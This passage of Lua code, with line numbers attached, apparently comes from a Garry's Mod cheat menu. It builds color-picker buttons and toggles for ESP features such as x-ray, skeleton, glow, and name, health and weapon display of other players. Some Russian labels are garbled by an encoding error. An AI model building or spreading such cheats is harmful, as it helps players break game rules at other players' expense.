4584surface.SetDrawColor(255, 255, 255 ,100)
4585surface.DrawOutlinedRect(0, 0, w, h)
4586else
4587draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
4588surface.SetDrawColor(255, 255, 255 ,100)
4589surface.DrawOutlinedRect(0, 0, w, h)
4590end
4591OptionsColorGreen.DoClick = function()
4592LocalPlayer():ConCommand("fiji_principal_color 0")
4593LocalPlayer():ConCommand("fiji_secondary_color 255")
4594LocalPlayer():ConCommand("fiji_third_color 0")
4595surface.PlaySound( fiji_pityhover )
4596
4597end
4598end
4599local OptionsColorBlue = vgui.Create( "DButton", pPcolor )
4600OptionsColorBlue:SetPos( 92,20 )
4601OptionsColorBlue:SetSize( 20, 20 )
4602OptionsColorBlue:SetText( " " )
4603OptionsColorBlue.Paint = function( self, w, h )
4604if self:IsHovered() then
4605draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
4606surface.SetDrawColor(255, 255, 255 ,100)
4607surface.DrawOutlinedRect(0, 0, w, h)
4608else
4609draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
4610surface.SetDrawColor(255, 255, 255 ,100)
4611surface.DrawOutlinedRect(0, 0, w, h)
4612end
4613OptionsColorBlue.DoClick = function()
4614LocalPlayer():ConCommand("fiji_principal_color 0")
4615LocalPlayer():ConCommand("fiji_secondary_color 0")
4616LocalPlayer():ConCommand("fiji_third_color 255")
4617surface.PlaySound( fiji_pityhover )
4618
4619end
4620end
4621local OptionsColorSeaBlue = vgui.Create( "DButton", pPcolor )
4622OptionsColorSeaBlue:SetPos( 114,20 )
4623OptionsColorSeaBlue:SetSize( 20, 20 )
4624OptionsColorSeaBlue:SetText( " " )
4625OptionsColorSeaBlue.Paint = function( self, w, h )
4626if self:IsHovered() then
4627draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
4628surface.SetDrawColor(255, 255, 255 ,100)
4629surface.DrawOutlinedRect(0, 0, w, h)
4630else
4631draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
4632surface.SetDrawColor(255, 255, 255 ,100)
4633surface.DrawOutlinedRect(0, 0, w, h)
4634end
4635OptionsColorSeaBlue.DoClick = function()
4636LocalPlayer():ConCommand("fiji_principal_color 0")
4637LocalPlayer():ConCommand("fiji_secondary_color 229")
4638LocalPlayer():ConCommand("fiji_third_color 255")
4639surface.PlaySound( fiji_pityhover )
4640
4641end
4642end
4643local OptionsColorPurple = vgui.Create( "DButton", pPcolor )
4644OptionsColorPurple:SetPos( 136,20 )
4645OptionsColorPurple:SetSize( 20, 20 )
4646OptionsColorPurple:SetText( " " )
4647OptionsColorPurple.Paint = function( self, w, h )
4648if self:IsHovered() then
4649draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
4650surface.SetDrawColor(255, 255, 255 ,100)
4651surface.DrawOutlinedRect(0, 0, w, h)
4652else
4653draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
4654surface.SetDrawColor(255, 255, 255 ,100)
4655surface.DrawOutlinedRect(0, 0, w, h)
4656end
4657OptionsColorPurple.DoClick = function()
4658LocalPlayer():ConCommand("fiji_principal_color 89")
4659LocalPlayer():ConCommand("fiji_secondary_color 0")
4660LocalPlayer():ConCommand("fiji_third_color 255")
4661surface.PlaySound( fiji_pityhover )
4662
4663end
4664end
4665local OptionsColorPink = vgui.Create( "DButton", pPcolor )
4666OptionsColorPink:SetPos( 158,20 )
4667OptionsColorPink:SetSize( 20, 20 )
4668OptionsColorPink:SetText( " " )
4669OptionsColorPink.Paint = function( self, w, h )
4670if self:IsHovered() then
4671draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
4672surface.SetDrawColor(255, 255, 255 ,100)
4673surface.DrawOutlinedRect(0, 0, w, h)
4674else
4675draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
4676surface.SetDrawColor(255, 255, 255 ,100)
4677surface.DrawOutlinedRect(0, 0, w, h)
4678end
4679OptionsColorPink.DoClick = function()
4680LocalPlayer():ConCommand("fiji_principal_color 255")
4681LocalPlayer():ConCommand("fiji_secondary_color 0")
4682LocalPlayer():ConCommand("fiji_third_color 250")
4683surface.PlaySound( fiji_pityhover )
4684
4685end
4686end
4687local OptionsColorWhite = vgui.Create( "DButton", pPcolor )
4688OptionsColorWhite:SetPos( 180,20 )
4689OptionsColorWhite:SetSize( 20, 20 )
4690OptionsColorWhite:SetText( " " )
4691OptionsColorWhite.Paint = function( self, w, h )
4692if self:IsHovered() then
4693draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
4694surface.SetDrawColor(255, 255, 255 ,100)
4695surface.DrawOutlinedRect(0, 0, w, h)
4696else
4697draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
4698surface.SetDrawColor(255, 255, 255 ,100)
4699surface.DrawOutlinedRect(0, 0, w, h)
4700end
4701OptionsColorWhite.DoClick = function()
4702LocalPlayer():ConCommand("fiji_principal_color 255")
4703LocalPlayer():ConCommand("fiji_secondary_color 255")
4704LocalPlayer():ConCommand("fiji_third_color 255")
4705surface.PlaySound( fiji_pityhover )
4706
4707end
4708end
4709--[[if fiji_vision_type:GetInt() == 2 then
4710local pPcolornot = vgui.Create( "DPanel", pContent )
4711pPcolornot:SetSize( 238, 50 )
4712pPcolornot:SetPos( 151, 230 )
4713function pPcolornot:Paint( w, h )
4714DrawBlur(self, 5)
4715surface.SetDrawColor( 200,200,200,255 )
4716surface.DrawOutlinedRect( 0, 0, w, h )
4717draw.RoundedBox( 0, 0, 0, w, h, Color( 40,40,40, 180 ) )
4718draw.SimpleText( "Xray" : Configuration non-disponnible", "pity_home5", 11, 25, color_white, 0, 1 )
4719end
4720end]]
4721local pPcolor2 = vgui.Create( "DPanel", pContent )
4722pPcolor2:SetSize( 205, 50 )
4723pPcolor2:SetPos( 33, 298 )
4724function pPcolor2:Paint( w, h )
4725draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4726draw.SimpleText( "Цвет Инфы", "pity_home5", 70, 8, color_white, 0, 1 )
4727end
4728local OptionsColorRed2 = vgui.Create( "DButton", pPcolor2 )
4729OptionsColorRed2:SetPos( 4,20 )
4730OptionsColorRed2:SetSize( 20, 20 )
4731OptionsColorRed2:SetText( " " )
4732OptionsColorRed2.Paint = function( self, w, h )
4733if self:IsHovered() then
4734draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
4735surface.SetDrawColor(255, 255, 255 ,100)
4736surface.DrawOutlinedRect(0, 0, w, h)
4737else
4738draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
4739surface.SetDrawColor(255, 255, 255 ,100)
4740surface.DrawOutlinedRect(0, 0, w, h)
4741end
4742OptionsColorRed2.DoClick = function()
4743LocalPlayer():ConCommand("fiji_principal_color_infos 255")
4744LocalPlayer():ConCommand("fiji_secondary_color_infos 50")
4745LocalPlayer():ConCommand("fiji_third_color_infos 50")
4746surface.PlaySound( fiji_pityhover )
4747
4748end
4749end
4750local OptionsColorOrange2 = vgui.Create( "DButton", pPcolor2 )
4751OptionsColorOrange2:SetPos( 26,20 )
4752OptionsColorOrange2:SetSize( 20, 20 )
4753OptionsColorOrange2:SetText( " " )
4754OptionsColorOrange2.Paint = function( self, w, h )
4755if self:IsHovered() then
4756draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
4757surface.SetDrawColor(255, 255, 255 ,100)
4758surface.DrawOutlinedRect(0, 0, w, h)
4759else
4760draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
4761surface.SetDrawColor(255, 255, 255 ,100)
4762surface.DrawOutlinedRect(0, 0, w, h)
4763end
4764OptionsColorOrange2.DoClick = function()
4765LocalPlayer():ConCommand("fiji_principal_color_infos 255")
4766LocalPlayer():ConCommand("fiji_secondary_color_infos 165")
4767LocalPlayer():ConCommand("fiji_third_color_infos 56")
4768surface.PlaySound( fiji_pityhover )
4769
4770end
4771end
4772local OptionsColorYellow2 = vgui.Create( "DButton", pPcolor2 )
4773OptionsColorYellow2:SetPos( 48,20 )
4774OptionsColorYellow2:SetSize( 20, 20 )
4775OptionsColorYellow2:SetText( " " )
4776OptionsColorYellow2.Paint = function( self, w, h )
4777if self:IsHovered() then
4778draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
4779surface.SetDrawColor(255, 255, 255 ,100)
4780surface.DrawOutlinedRect(0, 0, w, h)
4781else
4782draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
4783surface.SetDrawColor(255, 255, 255 ,100)
4784surface.DrawOutlinedRect(0, 0, w, h)
4785end
4786OptionsColorYellow2.DoClick = function()
4787LocalPlayer():ConCommand("fiji_principal_color_infos 196")
4788LocalPlayer():ConCommand("fiji_secondary_color_infos 192")
4789LocalPlayer():ConCommand("fiji_third_color_infos 0")
4790surface.PlaySound( fiji_pityhover )
4791
4792end
4793end
4794local OptionsColorGreen2 = vgui.Create( "DButton", pPcolor2 )
4795OptionsColorGreen2:SetPos( 70,20 )
4796OptionsColorGreen2:SetSize( 20, 20 )
4797OptionsColorGreen2:SetText( " " )
4798OptionsColorGreen2.Paint = function( self, w, h )
4799if self:IsHovered() then
4800draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
4801surface.SetDrawColor(255, 255, 255 ,100)
4802surface.DrawOutlinedRect(0, 0, w, h)
4803else
4804draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
4805surface.SetDrawColor(255, 255, 255 ,100)
4806surface.DrawOutlinedRect(0, 0, w, h)
4807end
4808OptionsColorGreen2.DoClick = function()
4809LocalPlayer():ConCommand("fiji_principal_color_infos 3")
4810LocalPlayer():ConCommand("fiji_secondary_color_infos 196")
4811LocalPlayer():ConCommand("fiji_third_color_infos 0")
4812surface.PlaySound( fiji_pityhover )
4813
4814end
4815end
4816local OptionsColorBlue2 = vgui.Create( "DButton", pPcolor2 )
4817OptionsColorBlue2:SetPos( 92,20 )
4818OptionsColorBlue2:SetSize( 20, 20 )
4819OptionsColorBlue2:SetText( " " )
4820OptionsColorBlue2.Paint = function( self, w, h )
4821if self:IsHovered() then
4822draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
4823surface.SetDrawColor(255, 255, 255 ,100)
4824surface.DrawOutlinedRect(0, 0, w, h)
4825else
4826draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
4827surface.SetDrawColor(255, 255, 255 ,100)
4828surface.DrawOutlinedRect(0, 0, w, h)
4829end
4830OptionsColorBlue2.DoClick = function()
4831LocalPlayer():ConCommand("fiji_principal_color_infos 91")
4832LocalPlayer():ConCommand("fiji_secondary_color_infos 96")
4833LocalPlayer():ConCommand("fiji_third_color_infos 255")
4834surface.PlaySound( fiji_pityhover )
4835
4836end
4837end
4838local OptionsColorSeaBlue2 = vgui.Create( "DButton", pPcolor2 )
4839OptionsColorSeaBlue2:SetPos( 114,20 )
4840OptionsColorSeaBlue2:SetSize( 20, 20 )
4841OptionsColorSeaBlue2:SetText( " " )
4842OptionsColorSeaBlue2.Paint = function( self, w, h )
4843if self:IsHovered() then
4844draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
4845surface.SetDrawColor(255, 255, 255 ,100)
4846surface.DrawOutlinedRect(0, 0, w, h)
4847else
4848draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
4849surface.SetDrawColor(255, 255, 255 ,100)
4850surface.DrawOutlinedRect(0, 0, w, h)
4851end
4852OptionsColorSeaBlue2.DoClick = function()
4853LocalPlayer():ConCommand("fiji_principal_color_infos 81")
4854LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
4855LocalPlayer():ConCommand("fiji_third_color_infos 246")
4856surface.PlaySound( fiji_pityhover )
4857
4858end
4859end
4860local OptionsColorPurple2 = vgui.Create( "DButton", pPcolor2 )
4861OptionsColorPurple2:SetPos( 136,20 )
4862OptionsColorPurple2:SetSize( 20, 20 )
4863OptionsColorPurple2:SetText( " " )
4864OptionsColorPurple2.Paint = function( self, w, h )
4865if self:IsHovered() then
4866draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
4867surface.SetDrawColor(255, 255, 255 ,100)
4868surface.DrawOutlinedRect(0, 0, w, h)
4869else
4870draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
4871surface.SetDrawColor(255, 255, 255 ,100)
4872surface.DrawOutlinedRect(0, 0, w, h)
4873end
4874OptionsColorPurple2.DoClick = function()
4875LocalPlayer():ConCommand("fiji_principal_color_infos 147")
4876LocalPlayer():ConCommand("fiji_secondary_color_infos 76")
4877LocalPlayer():ConCommand("fiji_third_color_infos 255")
4878surface.PlaySound( fiji_pityhover )
4879
4880end
4881end
4882local OptionsColorPink2 = vgui.Create( "DButton", pPcolor2 )
4883OptionsColorPink2:SetPos( 158,20 )
4884OptionsColorPink2:SetSize( 20, 20 )
4885OptionsColorPink2:SetText( " " )
4886OptionsColorPink2.Paint = function( self, w, h )
4887if self:IsHovered() then
4888draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
4889surface.SetDrawColor(255, 255, 255 ,100)
4890surface.DrawOutlinedRect(0, 0, w, h)
4891else
4892draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
4893surface.SetDrawColor(255, 255, 255 ,100)
4894surface.DrawOutlinedRect(0, 0, w, h)
4895end
4896OptionsColorPink2.DoClick = function()
4897LocalPlayer():ConCommand("fiji_principal_color_infos 252")
4898LocalPlayer():ConCommand("fiji_secondary_color_infos 96")
4899LocalPlayer():ConCommand("fiji_third_color_infos 255")
4900surface.PlaySound( fiji_pityhover )
4901
4902end
4903end
4904local OptionsColorWhite2 = vgui.Create( "DButton", pPcolor2 )
4905OptionsColorWhite2:SetPos( 180,20 )
4906OptionsColorWhite2:SetSize( 20, 20 )
4907OptionsColorWhite2:SetText( " " )
4908OptionsColorWhite2.Paint = function( self, w, h )
4909if self:IsHovered() then
4910draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
4911surface.SetDrawColor(255, 255, 255 ,100)
4912surface.DrawOutlinedRect(0, 0, w, h)
4913else
4914draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
4915surface.SetDrawColor(255, 255, 255 ,100)
4916surface.DrawOutlinedRect(0, 0, w, h)
4917end
4918OptionsColorWhite2.DoClick = function()
4919LocalPlayer():ConCommand("fiji_principal_color_infos 255")
4920LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
4921LocalPlayer():ConCommand("fiji_third_color_infos 255")
4922surface.PlaySound( fiji_pityhover )
4923
4924end
4925end
4926
4927
4928local pPcolor4 = vgui.Create( "DPanel", pContent )
4929pPcolor4:SetSize( 205, 50 )
4930pPcolor4:SetPos( 297, 316 )
4931function pPcolor4:Paint( w, h )
4932draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4933draw.SimpleText( "Цвет пропов", "pity_home5", 70, 8, color_white, 0, 1 )
4934end
4935local OptionsColorRed3 = vgui.Create( "DButton", pPcolor4 )
4936OptionsColorRed3:SetPos( 4,20 )
4937OptionsColorRed3:SetSize( 20, 20 )
4938OptionsColorRed3:SetText( " " )
4939OptionsColorRed3.Paint = function( self, w, h )
4940if self:IsHovered() then
4941draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
4942surface.SetDrawColor(255, 255, 255 ,100)
4943surface.DrawOutlinedRect(0, 0, w, h)
4944else
4945draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
4946surface.SetDrawColor(255, 255, 255 ,100)
4947surface.DrawOutlinedRect(0, 0, w, h)
4948end
4949OptionsColorRed3.DoClick = function()
4950LocalPlayer():ConCommand("fiji_principal_color_props 255")
4951LocalPlayer():ConCommand("fiji_secondary_color_props 50")
4952LocalPlayer():ConCommand("fiji_third_color_props 50")
4953surface.PlaySound( fiji_pityhover )
4954
4955end
4956end
4957local OptionsColorOrange3 = vgui.Create( "DButton", pPcolor4 )
4958OptionsColorOrange3:SetPos( 26,20 )
4959OptionsColorOrange3:SetSize( 20, 20 )
4960OptionsColorOrange3:SetText( " " )
4961OptionsColorOrange3.Paint = function( self, w, h )
4962if self:IsHovered() then
4963draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
4964surface.SetDrawColor(255, 255, 255 ,100)
4965surface.DrawOutlinedRect(0, 0, w, h)
4966else
4967draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
4968surface.SetDrawColor(255, 255, 255 ,100)
4969surface.DrawOutlinedRect(0, 0, w, h)
4970end
4971OptionsColorOrange3.DoClick = function()
4972LocalPlayer():ConCommand("fiji_principal_color_props 255")
4973LocalPlayer():ConCommand("fiji_secondary_color_props 165")
4974LocalPlayer():ConCommand("fiji_third_color_props 56")
4975surface.PlaySound( fiji_pityhover )
4976
4977end
4978end
4979local OptionsColorYellow3 = vgui.Create( "DButton", pPcolor4 )
4980OptionsColorYellow3:SetPos( 48,20 )
4981OptionsColorYellow3:SetSize( 20, 20 )
4982OptionsColorYellow3:SetText( " " )
4983OptionsColorYellow3.Paint = function( self, w, h )
4984if self:IsHovered() then
4985draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
4986surface.SetDrawColor(255, 255, 255 ,100)
4987surface.DrawOutlinedRect(0, 0, w, h)
4988else
4989draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
4990surface.SetDrawColor(255, 255, 255 ,100)
4991surface.DrawOutlinedRect(0, 0, w, h)
4992end
4993OptionsColorYellow3.DoClick = function()
4994LocalPlayer():ConCommand("fiji_principal_color_props 196")
4995LocalPlayer():ConCommand("fiji_secondary_color_props 192")
4996LocalPlayer():ConCommand("fiji_third_color_props 0")
4997surface.PlaySound( fiji_pityhover )
4998
4999end
5000end
5001local OptionsColorGreen3 = vgui.Create( "DButton", pPcolor4 )
5002OptionsColorGreen3:SetPos( 70,20 )
5003OptionsColorGreen3:SetSize( 20, 20 )
5004OptionsColorGreen3:SetText( " " )
5005OptionsColorGreen3.Paint = function( self, w, h )
5006if self:IsHovered() then
5007draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
5008surface.SetDrawColor(255, 255, 255 ,100)
5009surface.DrawOutlinedRect(0, 0, w, h)
5010else
5011draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
5012surface.SetDrawColor(255, 255, 255 ,100)
5013surface.DrawOutlinedRect(0, 0, w, h)
5014end
5015OptionsColorGreen3.DoClick = function()
5016LocalPlayer():ConCommand("fiji_principal_color_props 3")
5017LocalPlayer():ConCommand("fiji_secondary_color_props 196")
5018LocalPlayer():ConCommand("fiji_third_color_props 0")
5019surface.PlaySound( fiji_pityhover )
5020
5021end
5022end
5023local OptionsColorBlue3 = vgui.Create( "DButton", pPcolor4 )
5024OptionsColorBlue3:SetPos( 92,20 )
5025OptionsColorBlue3:SetSize( 20, 20 )
5026OptionsColorBlue3:SetText( " " )
5027OptionsColorBlue3.Paint = function( self, w, h )
5028if self:IsHovered() then
5029draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
5030surface.SetDrawColor(255, 255, 255 ,100)
5031surface.DrawOutlinedRect(0, 0, w, h)
5032else
5033draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
5034surface.SetDrawColor(255, 255, 255 ,100)
5035surface.DrawOutlinedRect(0, 0, w, h)
5036end
5037OptionsColorBlue3.DoClick = function()
5038LocalPlayer():ConCommand("fiji_principal_color_props 91")
5039LocalPlayer():ConCommand("fiji_secondary_color_props 96")
5040LocalPlayer():ConCommand("fiji_third_color_props 255")
5041surface.PlaySound( fiji_pityhover )
5042
5043end
5044end
5045local OptionsColorSeaBlue3 = vgui.Create( "DButton", pPcolor4 )
5046OptionsColorSeaBlue3:SetPos( 114,20 )
5047OptionsColorSeaBlue3:SetSize( 20, 20 )
5048OptionsColorSeaBlue3:SetText( " " )
5049OptionsColorSeaBlue3.Paint = function( self, w, h )
5050if self:IsHovered() then
5051draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
5052surface.SetDrawColor(255, 255, 255 ,100)
5053surface.DrawOutlinedRect(0, 0, w, h)
5054else
5055draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
5056surface.SetDrawColor(255, 255, 255 ,100)
5057surface.DrawOutlinedRect(0, 0, w, h)
5058end
5059OptionsColorSeaBlue3.DoClick = function()
5060LocalPlayer():ConCommand("fiji_principal_color_props 81")
5061LocalPlayer():ConCommand("fiji_secondary_color_props 255")
5062LocalPlayer():ConCommand("fiji_third_color_props 246")
5063surface.PlaySound( fiji_pityhover )
5064
5065end
5066end
5067local OptionsColorPurple3 = vgui.Create( "DButton", pPcolor4 )
5068OptionsColorPurple3:SetPos( 136,20 )
5069OptionsColorPurple3:SetSize( 20, 20 )
5070OptionsColorPurple3:SetText( " " )
5071OptionsColorPurple3.Paint = function( self, w, h )
5072if self:IsHovered() then
5073draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
5074surface.SetDrawColor(255, 255, 255 ,100)
5075surface.DrawOutlinedRect(0, 0, w, h)
5076else
5077draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
5078surface.SetDrawColor(255, 255, 255 ,100)
5079surface.DrawOutlinedRect(0, 0, w, h)
5080end
5081OptionsColorPurple3.DoClick = function()
5082LocalPlayer():ConCommand("fiji_principal_color_props 147")
5083LocalPlayer():ConCommand("fiji_secondary_color_props 76")
5084LocalPlayer():ConCommand("fiji_third_color_props 255")
5085surface.PlaySound( fiji_pityhover )
5086
5087end
5088end
5089local OptionsColorPink3 = vgui.Create( "DButton", pPcolor4 )
5090OptionsColorPink3:SetPos( 158,20 )
5091OptionsColorPink3:SetSize( 20, 20 )
5092OptionsColorPink3:SetText( " " )
5093OptionsColorPink3.Paint = function( self, w, h )
5094if self:IsHovered() then
5095draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
5096surface.SetDrawColor(255, 255, 255 ,100)
5097surface.DrawOutlinedRect(0, 0, w, h)
5098else
5099draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
5100surface.SetDrawColor(255, 255, 255 ,100)
5101surface.DrawOutlinedRect(0, 0, w, h)
5102end
5103OptionsColorPink3.DoClick = function()
5104LocalPlayer():ConCommand("fiji_principal_color_props 252")
5105LocalPlayer():ConCommand("fiji_secondary_color_props 96")
5106LocalPlayer():ConCommand("fiji_third_color_props 255")
5107surface.PlaySound( fiji_pityhover )
5108
5109end
5110end
5111local OptionsColorWhite3 = vgui.Create( "DButton", pPcolor4 )
5112OptionsColorWhite3:SetPos( 180,20 )
5113OptionsColorWhite3:SetSize( 20, 20 )
5114OptionsColorWhite3:SetText( " " )
5115OptionsColorWhite3.Paint = function( self, w, h )
5116if self:IsHovered() then
5117draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
5118surface.SetDrawColor(255, 255, 255 ,100)
5119surface.DrawOutlinedRect(0, 0, w, h)
5120else
5121draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
5122surface.SetDrawColor(255, 255, 255 ,100)
5123surface.DrawOutlinedRect(0, 0, w, h)
5124end
5125OptionsColorWhite3.DoClick = function()
5126LocalPlayer():ConCommand("fiji_principal_color_props 255")
5127LocalPlayer():ConCommand("fiji_secondary_color_props 255")
5128LocalPlayer():ConCommand("fiji_third_color_props 255")
5129surface.PlaySound( fiji_pityhover )
5130
5131end
5132end
5133
5134
5135
5136
5137local btnSolid = BD:CreateBtn( "Xray", 103, 73, 65, 25, pContent )
5138function btnSolid:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_type:GetInt() == 2 then RunConsoleCommand( "BD_hitman_type", 0 ) else RunConsoleCommand( "BD_hitman_type", 2 ) end end
5139function btnSolid:Think() if fiji_vision_type:GetInt() == 2 then self.activebtn = true else self.activebtn = false end end
5140
5141local btnActive = BD:CreateBtn( "Включить", 103, 43, 65, 25, pContent )
5142function btnActive:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable:GetInt() == 1 then RunConsoleCommand( "BD_hitman_enable", 0 ) else RunConsoleCommand( "BD_hitman_enable", 1 ) end end
5143function btnActive:Think() if fiji_vision_enable:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5144
5145local btnPropsActive = BD:CreateBtn( "Включить", 368, 232, 65, 25, pContent )
5146function btnPropsActive:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable_props:GetInt() == 1 then RunConsoleCommand( "BD_hitman_enable_props", 0 ) else RunConsoleCommand( "BD_hitman_enable_props", 1 ) end end
5147function btnPropsActive:Think() if fiji_vision_enable_props:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5148
5149local btnSquelette = BD:CreateBtn( "СКЕЛЕТ", 33, 73, 65, 25, pContent )
5150function btnSquelette:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_type:GetInt() == 1 then RunConsoleCommand( "BD_hitman_type", 0 ) else RunConsoleCommand( "BD_hitman_type", 1 ) end end
5151function btnSquelette:Think() if fiji_vision_type:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5152
5153local btnGlow = BD:CreateBtn( "Свечение", 173, 73, 65, 25, pContent )
5154function btnGlow:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_type:GetInt() == 3 then RunConsoleCommand( "BD_hitman_type", 0 ) else RunConsoleCommand( "BD_hitman_type", 3 ) end end
5155function btnGlow:Think() if fiji_vision_type:GetInt() == 3 then self.activebtn = true else self.activebtn = false end end
5156
5157local btnEntiterActive = BD:CreateBtn( "Включить", 335, 35, 65, 25, pContent )
5158function btnEntiterActive:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable_ent:GetInt() == 1 then RunConsoleCommand( "BD_hitman_enable_ent", 0 ) else RunConsoleCommand( "BD_hitman_enable_ent", 1 ) end end
5159function btnEntiterActive:Think() if fiji_vision_enable_ent:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5160
5161local btnEntitermenu = BD:CreateBtn( "Меню", 403, 35, 65, 25, pContent )
5162function btnEntitermenu:DoClick() surface.PlaySound( fiji_pityclick ) LocalPlayer():ConCommand("fiji_espent") end
5163
5164local btnEntiterhalo = BD:CreateBtn( "Свечение", 335, 135, 65, 25, pContent )
5165function btnEntiterhalo:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable_enthalo:GetInt() == 1 then RunConsoleCommand( "fiji_vision_enable_enthalo", 0 ) else RunConsoleCommand( "fiji_vision_enable_enthalo", 1 ) end end
5166function btnEntiterhalo:Think() if fiji_vision_enable_enthalo:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5167
5168local btnEntiterhalo = BD:CreateBtn( "ТекÑÑ‚", 403, 135, 65, 25, pContent )
5169function btnEntiterhalo:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_vision_enable_enttext:GetInt() == 1 then RunConsoleCommand( "fiji_vision_enable_enttext", 0 ) else RunConsoleCommand( "fiji_vision_enable_enttext", 1 ) end end
5170function btnEntiterhalo:Think() if fiji_vision_enable_enttext:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5171
5172local btnWeapon = BD:CreateBtn( "Оружие", 33, 103, 65, 25, pContent )
5173function btnWeapon:DoClick()
5174surface.PlaySound( fiji_pityclick )
5175if fiji_vision_infos_weapons:GetInt() == 1 then
5176RunConsoleCommand( 'BD_hitman_infos_weapons', 0 )
5177else
5178RunConsoleCommand( 'BD_hitman_infos_weapons', 1 )
5179end
5180end
5181function btnWeapon:Think() if fiji_vision_infos_weapons:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5182
5183local btnName = BD:CreateBtn( "ИмÑ", 103, 103, 65, 25, pContent )
5184function btnName:DoClick()
5185surface.PlaySound( fiji_pityclick )
5186if fiji_vision_infos_name:GetInt() == 1 then
5187RunConsoleCommand( 'BD_hitman_infos_name', 0 )
5188else
5189RunConsoleCommand( 'BD_hitman_infos_name', 1 )
5190end
5191end
5192function btnName:Think() if fiji_vision_infos_name:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5193
5194local btnHealth = BD:CreateBtn( "ЗДОРОВЬЕ", 173, 103, 65, 25, pContent )
5195function btnHealth:DoClick()
5196surface.PlaySound( fiji_pityclick )
5197if fiji_vision_infos_health:GetInt() == 1 then
5198RunConsoleCommand( 'BD_hitman_infos_health', 0 )
5199else
5200RunConsoleCommand( 'BD_hitman_infos_health', 1 )
5201end
5202end
5203function btnHealth:Think() if fiji_vision_infos_health:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5204
5205local pP = vgui.Create( "DPanel", pContent )
5206pP:SetSize( 205, 50 )
5207pP:SetPos( 33, 133 )
5208function pP:Paint( w, h )
5209draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5210draw.SimpleText( "ДиÑÑ‚Ð°Ð½Ñ†Ð¸Ñ Ð•Ð¡ÐŸ", "pity_home5", 10, h / 2, color_white, 0, 1 )
5211end
5212
5213local pP2 = vgui.Create( "DPanel", pContent )
5214pP2:SetSize( 205, 50 )
5215pP2:SetPos( 33, 188 )
5216function pP2:Paint( w, h )
5217draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5218draw.SimpleText( "ДиÑÑ‚Ð°Ð½Ñ†Ð¸Ñ Ð˜Ð½Ñ„Ñ‹", "pity_home5", 10, h / 2, color_white, 0, 1 )
5219end
5220local pP3 = vgui.Create( "DPanel", pContent )
5221pP3:SetSize( 205, 50 )
5222pP3:SetPos( 297, 64 )
5223function pP3:Paint( w, h )
5224draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
